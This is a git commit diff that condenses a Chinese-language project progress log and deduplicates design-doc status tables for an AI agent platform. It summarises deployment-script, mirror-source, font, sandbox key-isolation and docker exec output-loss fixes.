docs: 精简 PROGRESS 每条压回 1-2 句 + DESIGN 状态表去重

PROGRESS.md 按头部自带规约(每条 1-2 句:做了啥+关键判断)把
"已完成关键能力"压缩:砍根因长推理 / 否决方案 (a)(b)(c) / 测试细节 /
部署操作 / 结尾"DESIGN不动·RUN不动"样板尾巴;同质 UI 碎条合并
(05-20~05-25 dev SPA 堆)。字符 131K→35K(-73%),细节仍在 git log/diff。
四段不动:状态表 / 关键决策 / 文件清单 / 下一步候选。

DESIGN.md §7.6/§7.7 phase 表删纯状态列(/待,与 PROGRESS `## 状态`
重复=漂移源),保留设计意图(估时 / 撤销 / 前置依赖),状态指回 PROGRESS。

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
caoqianming 2026-06-03 13:26:10 +08:00
parent ed136f8ed7
commit 9a1e88d86f
2 changed files with 92 additions and 121 deletions

View File

@ -445,28 +445,32 @@ zcbot-sandbox image 已 ~1.5G(python deps + chromium + nodejs + mermaid-cli),后
### 7.6 Core 代码改造(按依赖顺序) ### 7.6 Core 代码改造(按依赖顺序)
| # | 项 | 状态 | > 哪步做完见 PROGRESS `## 状态`;此处只记改造项与依赖顺序。
|---|---|---|
| 1 | 事件流化 `loop.py` | ✅ done | | # | 项 |
| 2 | Storage 落 PG(Session/TaskState 改 SQLAlchemy + alembic + docker-compose) | ✅ done | |---|---|
| 3 | working_dir 字段语义(name 必填,派生 `users/<uid>/<name>/`,同 name 共享) | ✅ done | | 1 | 事件流化 `loop.py` |
| 4 | Files API(list/upload/download/delete/rename,user-rooted) | ✅ done | | 2 | Storage 落 PG(Session/TaskState 改 SQLAlchemy + alembic + docker-compose) |
| 5 | No-subtask 校验 | ✅ done | | 3 | working_dir 字段语义(name 必填,派生 `users/<uid>/<name>/`,同 name 共享) |
| 6 | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) | 待 | | 4 | Files API(list/upload/download/delete/rename,user-rooted) |
| 7 | HTTP /v1 surface | ✅ done | | 5 | No-subtask 校验 |
| 8 | ~~CLI 双模式~~ | 撤(§7.9) | | 6 | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) |
| 9 | ~~Web UI~~ → API-only,UI 由 platform 实现 | 撤(§7.9) | | 7 | HTTP /v1 surface |
| 8 | ~~CLI 双模式~~ — 撤(§7.9) |
| 9 | ~~Web UI~~ → API-only,UI 由 platform 实现 — 撤(§7.9) |
代码量增量:**+1000~1500 行**(单一 PG 比双 adapter 省 500-800 行;UI 不计入)。 代码量增量:**+1000~1500 行**(单一 PG 比双 adapter 省 500-800 行;UI 不计入)。
### 7.7 分阶段落地 ### 7.7 分阶段落地
| 阶段 | 范围 | 状态 | > 阶段做没做完见 PROGRESS `## 状态`;此处记阶段范围 + 设计意图(估时 / 撤销 / 前置依赖)。
| 阶段 | 范围 | 设计意图 |
|---|---|---| |---|---|---|
| A | 事件流化 | ✅ | | A | 事件流化 | |
| B | Storage 落 PG + working_dir 语义 + no-subtask | | | B | Storage 落 PG + working_dir 语义 + no-subtask | 一次性切换,无双轨(见下) |
| D | HTTP /v1 surface | | | D | HTTP /v1 surface | |
| D' 过渡 | 邮箱密码 + PLATFORM_KEY → JWT + user_id 隔离 + dev SPA | | | D' 过渡 | 邮箱密码 + PLATFORM_KEY → JWT + user_id 隔离 + dev SPA | |
| D' 真 OIDC | 替换 /v1/auth/login 内部为 ID token 校验 + CORS allowlist 收紧 | 1 天,发布前必做 | | D' 真 OIDC | 替换 /v1/auth/login 内部为 ID token 校验 + CORS allowlist 收紧 | 1 天,发布前必做 |
| C | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) | 3 天,**外部用户开放的 hard prereq**(详 §7.8 / §7.9 2026-05-21) | | C | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) | 3 天,**外部用户开放的 hard prereq**(详 §7.8 / §7.9 2026-05-21) |
| ~~E~~ | ~~CLI transport 双模式~~ | 撤(§7.9) | | ~~E~~ | ~~CLI transport 双模式~~ | 撤(§7.9) |

View File

@ -2,7 +2,7 @@
> 配合 `DESIGN.md`。本文件只记 phase 状态、决策偏差、文件量、下一步。每条 1-2 句:做了啥 + 关键判断;细节查 `git log` / `git diff` / `DESIGN §7.9` > 配合 `DESIGN.md`。本文件只记 phase 状态、决策偏差、文件量、下一步。每条 1-2 句:做了啥 + 关键判断;细节查 `git log` / `git diff` / `DESIGN §7.9`
最后更新:2026-06-02(修 embed 模式登录页一闪而过 — #login 在 embedInit 标记 embed-mode 前先被绘制,提前到 body 首行同步隐藏) 最后更新:2026-06-03(默认镜像源改清华 —— 腾讯 PyPI 吐损坏 litellm wheel)
--- ---
@ -23,142 +23,109 @@
### 2026-06-03 ### 2026-06-03
- **默认镜像源改清华(pip+apt)/ npmmirror(npm)**:腾讯源返回了损坏的 `litellm-1.87.0` wheel —— 镜像 index 声明的 sha256(`fbbba7e…`,与 PyPI 官方一致)对,但实际吐出的文件字节算出 `bbebefff…`,pip 报 `THESE PACKAGES DO NOT MATCH THE HASHES`(本仓 `requirements.txt` 未钉 hash,是镜像 index 自声明的 hash 与文件不符 = 镜像端文件损坏/截断,非篡改、非 require-hashes)。`deploy/update.sh` 三个默认值改:`PIP_INDEX_URL` → 清华 `pypi.tuna.tsinghua.edu.cn`、`APT_MIRROR` → 清华 `mirrors.tuna.tsinghua.edu.cn`、`NPM_REGISTRY` → 腾讯 `mirrors.cloud.tencent.com/npm/`(清华无 npm registry;先试 npmmirror 但访问不稳,腾讯 npm 历来 OK —— 坏 wheel 只是腾讯 PyPI 的事,npm 不受影响;备选华为 / USTC npm)。清华境内稳 + 同步及时(阿里 PyPI 曾滞后到没有 `litellm>=1.83`)。换默认会让下次 build 从 pip 层全量重跑一次(~5-10min),之后命中 cache。**对外行为(默认源)变化 → 更 RUN.md**:头部「最后更新」、§镜像构建默认源说明、手动 build 示例、故障表(新增 hash-不匹配诊断行 + 其余镜像行对齐新默认)。Dockerfile ARG 默认(官方源 fallback)不动。DESIGN 不动。 - **默认镜像源改清华(pip+apt)/ 腾讯(npm)**:腾讯 PyPI 吐损坏 litellm wheel(index 声明 sha256 与文件实际字节不符,非篡改 = 镜像端文件损坏)。`deploy/update.sh` 三默认值改清华(境内稳 + 同步及时;npm 无清华源走腾讯);换默认让下次 build pip 层全量重跑一次。
- **回退 `ZCBOT_WORKSPACE_DIR` env 覆盖,workspace 落数据盘改用 bind mount**:env 覆盖与 `core/paths.py` 锚 ROOT 的相对存储冲突 —— env 指向 ROOT 外致文件面板 / agent resume / 新建 task 三家分叉。`resolve_workspace` 回退成 `arg > cfg > 默`(均 ROOT 内),数据盘改用 bind mount(`/data/zcbot/workspace` → `ROOT/workspace`,DB 不改、dev 不受影响)。
- **回退 `ZCBOT_WORKSPACE_DIR` env 覆盖(架构有 bug),workspace 落数据盘改用 bind mount**:2026-06-02 加的 env 覆盖与路径存储层冲突 —— `core/paths.py` 把 DB 的 `working_dir` 锚定 **ROOT**(代码仓库目录)存相对串,`to_db_path` 对 ROOT 外路径直接 `relative_to` raise。env 一旦指向 ROOT 外的 `/data/...`,三家分叉:文件面板 `/v1/files``resolve_workspace`(吃到 env)看数据盘、agent resume 走 `from_db_path`(锚 ROOT)看 `ROOT/workspace`、新建 task `to_db_path` 直接 500。现场症状:文件面板"目录尚未创建"但 agent 文件其实写在老 `ROOT/workspace`。改法:`resolve_workspace` 回退成 `显式 arg > cfg workspace_dir > 默 workspace`(均 `ROOT/<值>`),删掉 env 分支与 `import os` 无关(os 别处仍用,保留)。要落数据盘改用 **bind mount**`/data/zcbot/workspace` 接到 `ROOT/workspace`(`.resolve()` 不展开 bind,内核路径保持 ROOT 内,DB 不用改,dev 不受影响)。**对外行为变化 → 更 RUN.md**:删 `.env``ZCBOT_WORKSPACE_DIR` 段、「workspace 落独立数据盘」段改 bind mount(+ `RequiresMountsFor` 开机顺序硬化)、故障表两行(替换旧 env 行 + 加"目录尚未创建"诊断行)。DESIGN 不动。
### 2026-06-02 ### 2026-06-02
- **【已于 2026-06-03 回退,见上】`resolve_workspace` 加 env 覆盖 `ZCBOT_WORKSPACE_DIR`(per-host 部署,不碰共用 yaml)**:prod 想把重写入的 `workspace/users/` 落到独立数据盘(1T xfs prjquota,空间 + OS 层配额一步到位),但 `config/agent.yaml``workspace_dir` 是 dev/prod 共用提交的,改成绝对路径会带歪 dev。改法:`core/agent_builder.py:resolve_workspace` 优先级改为 **显式 arg > env `ZCBOT_WORKSPACE_DIR` > cfg `workspace_dir` > 默 `workspace`**,env/cfg 值都 `ROOT / ws`(POSIX 上绝对右操作数覆盖左 → 绝对路径直接生效,相对挂 repo 根)。prod systemd 设 `Environment=ZCBOT_WORKSPACE_DIR=/data/zcbot-workspace`,dev 不设照旧。PG 暂不迁(元数据库小,留默认 `/var/lib/postgresql` 少坑,等真涨到 3040G 再说)。**对外行为(env 变量)变化 → 更 RUN.md**:env 段加 `ZCBOT_WORKSPACE_DIR`、新增「workspace 落独立数据盘」段(整盘 mkfs.xfs + fstab prjquota + rsync 迁移 + systemd env)、故障表加一行。DESIGN 不动(无架构/schema 变化)。 - **【已于 06-03 回退,见上】`resolve_workspace` 加 env 覆盖 `ZCBOT_WORKSPACE_DIR`**:prod 想把 workspace 落独立数据盘且不碰共用 yaml,改优先级 `arg > env > cfg > 默`。回退因与相对存储锚点冲突(见上)。
- **修 embed 模式"登录页一闪而过"(绘制时机,非鉴权)**:`#login` 在 `embedInit` 标记 `embed-mode` 前已被绘制;在 `<body>` 首行加同步内联脚本,`?embed=1` 时立即加 `embed-mode` class,赶在 `#login` 绘制前隐藏。只挪绘制闸门,底部握手逻辑不动。
- **修 embed 模式"登录页一闪而过"(绘制时机,非鉴权)**:`web/static/dev.html` 的 `#login` 默认 `display:flex` 且带 `login-in .35s` 动画,而加 `body.embed-mode`(→ CSS 隐藏 `#login`)的 `embedInit()` 在 body 末尾才跑;单文件 3800+ 行,浏览器常在解析到底部脚本前就先把登录卡画出来 → 闪一下。改法:在 `<body>` 第一行加一段同步内联脚本,`?embed=1` 时立即 `document.body.classList.add("embed-mode")`,赶在 `#login` 解析/绘制之前隐藏它 → 根本不绘制。只是"绘制闸门",底部 `embedInit()`(postMessage 握手 / `embed-waiting` 覆盖层 / token 分支)完全不动,`embed-mode` 幂等。未提前加 `embed-waiting`(有 stored token 时 `embedInit``enterApp` 不移除等待层会卡死,故等待层决定仍留底部按 token 判)。**bug 修复,DESIGN 不动;URL 参数/命令/env 无变化,RUN 不动**。
### 2026-06-01 ### 2026-06-01
- **`deploy/update.sh` 加自更新重跑守卫(修"改了源仍报旧错"根因)**:脚本 `git pull` 会改自己 —— 变量默认值在 pull 前已求值、bash 又按字节偏移边读边跑,所以**首次拉到"改 update.sh"的提交那一轮,跑的还是旧脚本的过期行为**(默认源还是阿里 → litellm 仍报缺版本)。改法:pull 后 `git diff --quiet OLD NEW -- deploy/update.sh` 检出本脚本有变更,就 `exec env ZCBOT_UPDATE_REEXEC=1 bash $0 "${ORIG_ARGS[@]}"` 用新版本从头重跑(原始参数原样回传,标记防死循环;pull 幂等,重跑里 pull 变 no-op)。**纯运维脚本,DESIGN 不动**;`RUN.md` §部署 SOP 加一条要点 - **`deploy/update.sh` 加自更新重跑守卫**:`git pull` 会改脚本自身,首次拉到"改 update.sh"那轮跑的还是旧脚本行为。pull 后 diff 检出本脚本变更则 `exec` 用新版本从头重跑(标记防死循环),修"改了源仍报旧错"根因
- **`deploy/update.sh` 默认源改腾讯 + build 跳过改 `--skip-build` + 进度可见**:部署 build 报 `Could not find a version that satisfies the requirement litellm>=1.83.0`。**根因 = 阿里 PyPI 镜像同步滞后(只到 litellm 1.82.6),而 `requirements.txt``>=1.83.0`(zai/GLM provider 要)**;腾讯 / 清华源已到 1.88。三处改:① 默认镜像源(APT/PIP/NPM)由阿里改腾讯(`mirrors.cloud.tencent.com`),并修 step 2 host venv pip —— 经 `sudo -u``PIP_INDEX_URL` env 被洗掉,改为脚本显式拼 `--index-url`,不再靠 host pip.conf(否则 host 仍撞阿里缺版本);② 跳过 sandbox build 从 env `ZCBOT_SKIP_SANDBOX_BUILD=1` 改为 CLI flag `--skip-build`(开发期不留 env 别名兼容),顶部 `while/case` 解析参数;③ 进度可见 —— step 2 pip 去掉 `-q` 让装包进度可见(step 4 docker build 保留默认 TTY 进度 UI,分层折叠刷新更直观)。**纯运维脚本,DESIGN 不动**;`RUN.md` §部署 SOP 三条要点改写 + 故障表加 litellm 版本找不到一行 + 最后更新日期刷新 - **`deploy/update.sh` 默认源改腾讯 + build 跳过改 `--skip-build` + 进度可见**:根因 = 阿里 PyPI 同步滞后缺 `litellm>=1.83`。默认镜像源改腾讯(host venv pip 显式拼 `--index-url`)、跳过 sandbox build 由 env 改 CLI flag、pip 去 `-q` 让进度可见
- **修 MP host 工具的全量下载(IP 被封根因)**:`mp_search_summary` 之前不给 `summary.search` 传分页参数 → mp-api 默认 `chunk_size=1000``list(docs)` 自动翻完所有页,`limit` 只在客户端切片,等于每次搜索都整库级下载 → MP 判 abusive traffic 封 host IP/ASN(403 "blocked")。改为 `search(num_chunks=1, chunk_size=limit, ...)`,服务端单页限量。`mp_get_entries` 的 `limit` 同样是"只裁剪保存、不减网络流量"的假参数,但 `get_entries_in_chemsys` 天然全量(相图用途),改不了,只在 description 里点明"拉整个 chemsys、元素越多越重、别反复调"。测试加断言锁定 `num_chunks/chunk_size` 已传。**注:宿主 IP `49.232.14.174` 当前仍被 MP 临时封(无公开时限、不确认自动解除),需发邮件 support@materialsproject.org 人工解封后才能联网复测。** - **修 MP host 工具的全量下载(IP 被封根因)**:`mp_search_summary` 没传分页 → mp-api 默认翻完所有页 = 每搜一次整库级下载,MP 判 abusive 封 host IP。改 `num_chunks=1, chunk_size=limit` 服务端限量;`mp_get_entries` 天然全量(相图用途)只在 description 警示。**注:宿主 IP 仍被 MP 临时封,需邮件 support 人工解封后才能联网复测。**
- **加一键部署脚本 `deploy/update.sh`(Ubuntu / systemd)**:把日常部署固化成一把梭 —— `git pull --ff-only``pip install -r``db upgrade head``docker build` sandbox 镜像 → `systemctl restart zcbot``curl /healthz` 验活。**两处必须钉死的顺序 / 步骤**:① migration 不能漏(`db/migrations/env.py` 直读 `os.environ['ZCBOT_DB_URL']` 不读 .env,脚本从 .env 抠出来 `env ZCBOT_DB_URL=...` 喂进去);② **build 必须在 restart 之前** —— sandbox 容器 per-user 长驻复用、`tools/` 是 build 进镜像(非 mount),restart 时 `pool.shutdown_all` 清旧容器、下次 `ensure()` 才用新 `zcbot-sandbox:latest` 重建,顺序反了新 tools/ 要等下次重启才生效。**sandbox 每次都 build 无所谓**:重活(pip ~1G / chromium / 字体 / mermaid)都在 Dockerfile `COPY tools/` 之上,layer cache 让改代码部署秒过、只有 `requirements.txt` 变了才整体重建(~5-10min)。镜像源默认阿里(`${VAR-default}` 不带冒号,显式置空可回落官方源)。前置守卫:非 root / 非 git 仓库 / 工作区脏(已跟踪文件)/ 缺 .env 中止;healthz 15s 不 ok → dump journalctl 非零退出。`ZCBOT_SKIP_SANDBOX_BUILD=1` 跳过 build(host backend 机)。一次性 bootstrap(useradd / 写 unit / enable)不进脚本,留 RUN.md。git 可执行位已置(100755)。**纯运维脚本,DESIGN 不动**;`RUN.md` §部署 SOP 重写为指向脚本 + 手动逐条 fallback - **加一键部署脚本 `deploy/update.sh`(Ubuntu / systemd)**:`git pull → pip install → db upgrade → docker build sandbox → restart → curl /healthz`。两处钉死:migration 从 .env 抠 `ZCBOT_DB_URL` 喂 alembic;**build 必须在 restart 之前**(容器复用,restart 才换新镜像)。前置守卫:非 root / 非 git / 工作区脏 / 缺 .env 中止
- **sandbox 镜像加中文字体,修 matplotlib / mermaid 出图中文方块**:用户报绘图(mermaid + matplotlib)出的 PNG 里中文全是豆腐块 □。**根因 = `deploy/sandbox/Dockerfile``python:3.12-slim` 起一个 CJK 字体都没装**:matplotlib `skills/plot_pub/style.py::_find_chinese_font()` 扫候选无果退回 Arial/DejaVu;mermaid 经 mmdc→chromium 渲染,chromium 经 fontconfig 也找不到中文字形;`skills/ppt/scripts/render_icon.py` 引用的 `wqy-microhei.ttc` / `NotoSansCJK-Regular.ttc` 路径根本不存在。三处同一病根。**改法**:① Dockerfile chromium 块后加一层 `apt-get install fonts-noto-cjk fonts-wqy-microhei fontconfig && fc-cache -f`(Noto 出版级 +~330MB,wqy 兜底 +~5MB 且匹配 style.py 现有候选 / render_icon 引用路径);② `style.py` 候选清单首位加 `"Noto Sans CJK SC"` 让 matplotlib 优先用 Noto。fontconfig 刷缓存供 chromium 选字;matplotlib 走自家 font_manager 扫 `/usr/share/fonts` 运行时首用自动建缓存,无需额外处理。**否决**仅装 wqy(体积小但黑体不如 Noto 精致,出版图略糙)/ 仅装 Noto(render_icon 第一候选 wqy.ttc 落空走 fallback OK 但不够干净)。**纯镜像 + 配置改,DESIGN 不动**(无架构 / 取舍 / schema 变化);`RUN.md` 故障表加一行(中文方块 → 重 build 镜像 + 清旧容器 + `fc-list :lang=zh` 验证)。**生效**:改了 Dockerfile 必须 `docker build` 重建 + `docker rm -f` 清旧容器 + restart web,旧容器仍跑老镜像不会自动更新 - **sandbox 镜像加中文字体,修 matplotlib / mermaid 出图中文方块**:根因 = `deploy/sandbox/Dockerfile` 从 slim 起一个 CJK 字体都没装。加 `fonts-noto-cjk fonts-wqy-microhei` + `style.py` 候选首位加 Noto。改 Dockerfile 须重 build + 清旧容器才生效
- **documents / Materials Project secret-bearing 能力改 host-side tools,key 不进 sandbox**:新增 `tools/documents.py` 三工具(`document_list_kb` / `document_search` / `document_download`)和 `tools/materials_project.py` 三工具(`mp_search_summary` / `mp_get_structure` / `mp_get_entries`),`core/agent_builder.py` 仅在宿主 env `DOCUMENT_SEARCH_API_KEY` / `MP_API_KEY` 存在时注册。`document_download` / `mp_get_structure` / `mp_get_entries` 绑定当前 task_dir 写文件,模型不能传 working_dir;`document_search` 默认截断 `md_content`,避免整篇论文进上下文。同步更新 `DESIGN.md` secret-bearing domain tools 规则、`RUN.md` env / 故障兜底、`SKILL_LIST.md`、`skills/documents/SKILL.md`、`skills/pymatgen/SKILL.md`;旧 `run_python` helper 不再是带 key API 主路径。测试 `tests/test_secret_host_tools.py` 覆盖 documents search 截断、download 固定 task_dir、MP tool 不泄露 host key - **documents / Materials Project 带 key 能力改 host-side tools,key 不进 sandbox**:新增 `tools/documents.py` + `tools/materials_project.py` 各三工具,仅宿主 env 有 key 时注册;写文件绑定 task_dir,模型不能传 working_dir
- **删 `skills/pymatgen/materials.py::mp_rester()` + `scripts/smoke_scientific_skills.py` 改走 host tool**:`mp_rester` 是 sandbox 内读 `MP_API_KEY` 的旧入口,host tool 化后多余且违背"key 不进 sandbox",直接删(连带清 `import os` / `contextlib.contextmanager`,只留 `CEMENT_PHASES` / `lookup_phase`);smoke A6 / step D 改用 `MaterialsProjectSearchSummaryTool`。**实测闭环**:初次 step D 真连 `api.materialsproject.org`**403**(工具行为正确,403 干净透传成 `[Error]` 不崩),定位为 `.env` legacy 旧版 key 在新版 `mp-api` 失效;换 next-gen materialsproject.org dashboard 长 key 后**复测通过**(查 Ca3SiO5 返 3 条 `mp-xxxx` + `energy_above_hull`,~5s),MP host 工具端到端联网通路确认可用。documents 工具未联网实测(无现成可验证调用),逻辑同 web_search 形态 - **删 `skills/pymatgen/materials.py::mp_rester()`**:sandbox 内读 key 的旧入口,host tool 化后多余且违背"key 不进 sandbox",直接删;smoke 改走 host tool。换 next-gen MP key 后端到端复测通过
### 2026-05-29 ### 2026-05-29
- **Seedream 5.0 i2i base64 通路 probe + DESIGN §8.1 后续步骤落册**:用户场景"调 seedream 出图 → 基于该图二次修改" / "上传外部参考图让 agent 据此干活"两条路径,主模型 DeepSeek V4 纯文本覆盖不了。详评 3 方案后选 **E + C 组合**(`tools/seedream.py` 加 `reference_images` 参数走 seedream 5.0 i2i + 新增 `tools/look_at_image.py` 走豆包 Seed 1.6 vision tool 调度),否决 A(换豆包当主 chat,降 code / tool calling 质量 + 改 loop/memory 工程面 5×)/ B(后台隐式 vision 路由,失 agentic 控制 + 描述质量黑盒 + token 浪费)。**写探针 `scripts/probe_seedream_i2i.py` 实测**:豆包 Seedream 5.0(`doubao-seedream-5-0-260128`)`/images/generations` endpoint **接受 `image_urls=["data:image/png;base64,..."]`**,200 返回新图 TOS URL + `usage.generated_images=1`(约束:输出 `size` ≥3686400 像素 / ~1920²,单张参考 ≤10MB,最多 14 张);base64 通路成立 → **内网部署无需对象存储中介**,排除最大工程不确定性。**E+C 实施清单 / 风险 / 升级到 A 的信号已落 DESIGN §8.1,本版仅 probe + design,tool 与 prompt 改造未启动**。 - **Seedream 5.0 i2i base64 通路 probe + DESIGN §8.1 落册**:实测豆包 Seedream 5.0 `/images/generations` 接受 `image_urls` base64 data URL → 内网部署无需对象存储中介。选 E+C 组合(`seedream` 加 `reference_images` + 新增 `look_at_image` 豆包 vision tool),本版仅 probe + design,tool 改造未启动。
- **web 端 tool_call 标题行改显中文活动描述(`dev.html`)**:用户反馈 web 端工具调用只显示 `工具调用:run_python` / `shell` 等工具名,看不出"在干啥"。**根因有个真 bug**:`dev.html` 实时流分支(`tool_call`)读 `ev.data.arguments`,但后端 `core/loop.py::_execute_tool_call` emit 的字段叫 `args`(已解析 dict)+ `args_preview`(截 200 字),字段名对不上 → 前端拿到的永远是空串,`<pre>` 是空的、连带 `extractArtifactRels(argsStr,...)` 也抽不到产物路径。**改法**:① 新增 `toolActivityLabel(name, args)` helper(挨着 `_workingDirName`),按 12 个工具的"关键代表参数"套中文动词 + 截断值:read/write/edit→`读取/写入/编辑文件: {path}`、glob→`查找文件: {pattern}`、grep→`搜索内容: {pattern}`、shell→`执行命令: {command}`、run_python→`运行 Python: {code}`、web_fetch→`抓取网页: {url}`、web_search→`联网搜索: {query}`、load_skill→`加载技能: {name}`、seedream/seedance→`生成图像/视频: {prompt}`,未知工具回退到 `name {JSON截断}``工具调用: name`;clip 把空白压一行 + 超长加 `…`。② 实时流分支 `ev.data.arguments``ev.data.args`(修字段 bug)并把 `<summary>` 文案换成 label。③ 历史消息回放分支(`p.tool_calls`,LiteLLM 格式 `tc.function.arguments` 是 JSON 字符串)同步:先 `JSON.parse``argsObj` 再生成 label,保持实时 / 历史一致。完整参数仍在折叠 `<pre>` 里,展开可看。**选型**:用前端静态模板(零成本 / 不走模型 / 立即生效),否决"让模型每次调用前产出一句中文意图"(改 prompt + 每调用烧 token + 依赖模型配合)。**纯前端改**,`DESIGN.md` / `RUN.md` / `SKILL_LIST.md` 不动(无架构 / CLI / env / skill 变化)。**生效**:刷新 web 页面即可,无需重启后端。 - **web 端 tool_call 标题行改显中文活动描述**:实时流分支读错字段(`arguments` vs 后端 emit 的 `args`)致 `<pre>` 一直空。修字段 + 新增 `toolActivityLabel(name,args)` 按 12 工具套中文动词(读取文件 / 执行命令 / 运行 Python / 联网搜索…)。纯前端,刷新即生效。
- **删 `_exec_shell` / `_exec_python` argv 里的 `setsid` 修 docker exec 延迟 stdout 丢失**:上一条 `_run_subprocess` 重写后用户实测 LLM 拿 `cement energy efficiency` 跑 paper_server 检索仍返空 `[exit 0]` 8 字符,且 `print(f"共命中 {len(papers)} 条结果\n")` 这种必有输出的代码也丢。**根因 = `setsid`,不是 `_run_subprocess` 的 poll loop**(上一条修对了一个独立的 bug,但不是用户当下症状的元凶)。**实证差异**:`docker exec ... setsid python -c "import time; time.sleep(2); print('hello')"` 等满 2.06s 但输出空;同条件去掉 setsid `docker exec ... python -c "..."` 等满 2.08s + 输出 `hello`。`setsid` 调 `setsid()` syscall 把进程变 new session leader without controlling terminal **之后** execvp(python),docker exec / runc 的 stdio attach 对"调用方变 session leader"敏感(具体哪一层没深挖到 runc 源码,经验上 docker exec + setsid + 延迟输出 = stdout 数据被截断,业界踩过的坑)。短输出(`print('hello')` 瞬时完成)能在窗口内漏出去,延迟输出(`search()` 等 httpx 1-2s)就全丢 —— 完美解释为什么 LLM 简单 `print(version)` 测试时部分输出能回但真业务调用全空。**为什么之前 host 侧 `docker exec ... python -c "from skills.research.paper import search; ..."` 2.94s 拿 10 条成功**:那条**没有** setsid,docker exec 等的就是 python 本身,3s 全程都阻塞读 stdout 不会丢。`setsid` 历史上是 §7.5 Stage C **Step 3b PGID kill 协议**铺路用的(PROGRESS 上有"延后到外部用户开放前"这条 work item),**协议没实现的当下 setsid 是空头载荷 + 副作用**。**改法**:`core/executor_docker.py:141` 和 `:177` 各删 1 行的 `"setsid"`,argv 形态变 `docker exec ... <container> bash -c <cmd>` / `... python <script>`。**否决**:(a) `setsid --wait <prog>` —— 强制 setsid 等子退 + 透传 exit code,但需要 util-linux 2.32+ 且增加一层依赖;PGID kill 协议没做的当下没必要;(b) 包一层自己写的 wait wrapper —— 同上,过度工程;(c) 改 docker exec 加 `-t` 强制 tty —— 引入 \r\n 转换 + 影响输出清晰度,非生产做法。**测试**(`tests/test_executor_docker.py`):① 更新 `test_shell_invokes_docker_exec` 断言 `argv[container_idx+1:] == ["bash", "-c", "echo hello"]`(原 `["setsid", "bash", "-c", ...]`);② 更新 `test_run_python_tmp_script``argv[-3] == "setsid"` 断言;③ **新加 `test_run_subprocess_delayed_output_not_lost`**:`sys.executable, "-c", "import time; time.sleep(1); print('LATE')"` 真子进程跑,断 LATE 在 stdout 里 + `[exit 0]`(Windows skip);④ **新加 `test_argv_does_not_contain_setsid`**:patch Popen 抓两次 call(shell + run_python)的 argv,断 `"setsid" not in argv` 防回潮。**全套 19/19 PASS**(老 17 + 2 新)。**未来加 PGID kill 协议时**:不能裸 setsid 回潮 —— `test_argv_does_not_contain_setsid` 会挂,会强制实现者去查 PROGRESS 这条把 setsid 用对(`setsid --wait` 或 wrapper)。**部署生效**:`git pull && systemctl restart zcbot`,sandbox 容器不用 rm。**经验值更新**:这次诊断走了弯路 —— 上一条 `_run_subprocess` 重写虽然修了一个真 bug(communicate poll loop 违反 API + bash block-buffered chunk 丢),但**不是用户当下症状的元凶**,setsid 才是。两个 bug 都贡献"8 字符 `[exit 0]`"的部分场景:poll loop 影响多 chunk 输出收集,setsid 影响延迟输出收集,各自独立,都得修。`DESIGN.md` 不动(纯实现 bug 修,§7.5 Step 3b PGID kill 协议状态没变,只是落实时改用 `setsid --wait` 而非裸 setsid,这是个实现细节不是架构变化);`RUN.md` 不动;`SKILL_LIST.md` 不动。
- **`core/executor_docker.py::_run_subprocess` 重写修 docker exec stdout 多 chunk 静默丢失 bug**:用户实测 LLM 在容器里调 `from skills.research.paper import search` / `shell echo "test"; ...; echo "done"` 拿到空 `[exit 0]` 8 字符,而 host 侧 `docker exec ... python -c "from skills.research.paper import search; r=search(...)"` 同 query 2.94s 拿 10 条切题结果 —— 网络 / DNS / paper_server / helper / httpx 全清白,**问题在 tool wrapper 自己**。**根因**:旧实现 `while True: try: proc.communicate(input=stdin, timeout=0.5) except TimeoutExpired: ...` 在 poll loop 里反复调 `communicate()`,**违反 `subprocess` API 假设**(`communicate` 文档明说 "should be called only once") + 配合 `setsid bash -c "..."` 的 block-buffered stdout(pipe 而非 tty 触发 4K block buffering)在多 chunk 输出时序下 chunk 静默丢失。具体路径:`echo "test"` 第一个 token 几乎 buffer 还没装就到 `setsid bash` 收尾 flush 那一刻被读到 ; `timeout 3 python3 ...` 子进程 + 后续 `echo "done"` 走的是 setsid 子会话的二级 buffer,communicate 在 0.5s 轮询窗口里要么完全读不到要么读半截,内部 `self._fileobj2output` 状态在反复 TO 后某些 Python 版本下不连续。**重写实现(D 候选,4 候选里选最小补丁)**:① 入口 inline 查一次 `cancel_check`,True 立即返不起 Popen(同步快路径 + 消除单测 race);② 单次 `proc.communicate(input=stdin, timeout=timeout)`,违反 API 的 poll loop 彻底删;③ cancel 检查移到侧 daemon 线程,周期 `_CANCEL_POLL_INTERVAL_S=0.2`(模块常量,单测 patch 0.02 加速)poll `cancel_check`,命中即 `cancel_hit.set() + proc.kill()`;④ TimeoutExpired 分支 `kill + 二次 communicate()``self._fileobj2output` 续读累积 chunks 不丢已读;⑤ cancel 优先于 timeout(canceller 设了 hit 即使 communicate 也抛 TO 时优先返 cancelled)。**否决**:(A) 2 reader 线程裸 drain stdout/stderr.read() —— ~40 行,可选但 D 最小;(B) `selectors.PollSelector` 非阻塞 read —— ~50 行,Windows caveat(咱们 Linux 部署不踩,但代码上多一层平台分支);(C) 整链路 sync→async —— 大手术,不值。**回归测试**(`tests/test_executor_docker.py`):① `test_shell_cancel``test_shell_cancel_inline_fastpath`(入口快路径,Popen 不起)+ `test_shell_cancel_via_canceller_thread`(cancel_check 第 1 次 False 让 inline 放行第 2 次起 True 让侧线程触发,threading.Event 同步 mock kill);② **新加 `test_run_subprocess_collects_multi_chunk_output`** 起真子进程 `bash -c 'echo A; sleep 0.6; echo B; sleep 0.6; echo C'` 断 A/B/C 全在结果里(Windows skip,Linux CI/部署跑),这条 case 在旧实现下必挂、新实现必过 —— 直接锁死本 bug 回归;③ `test_shell_timeout` / `test_fs_tool_timeout` 移除已死的 `time.monotonic` patch(新代码不用 time.monotonic 跟踪 elapsed,改靠 `communicate(timeout=N)` 自带累计)。**结果 17/17 PASS**(老 15 + 拆 1 加 2 = 17,multi-chunk 那条 Windows skip 计入)。**部署生效**:重启 web 进程 + 老 sandbox 容器无需 rm(代码改在 host 侧 executor,容器本身行为不变,新请求进 new wrapper 即用)。**行为变化**:cancel 响应延迟 ~500ms → ~200ms(侧线程 wait 0.2s 改善);timeout 错误文案不变;线程开销 per call 多 1 个 daemon thread 只在 `cancel_check is not None` 时起,忽略不计。`DESIGN.md` 不动(无架构变化,纯实现 bug 修;§7.5 Stage C Step 3b "PGID kill 协议" 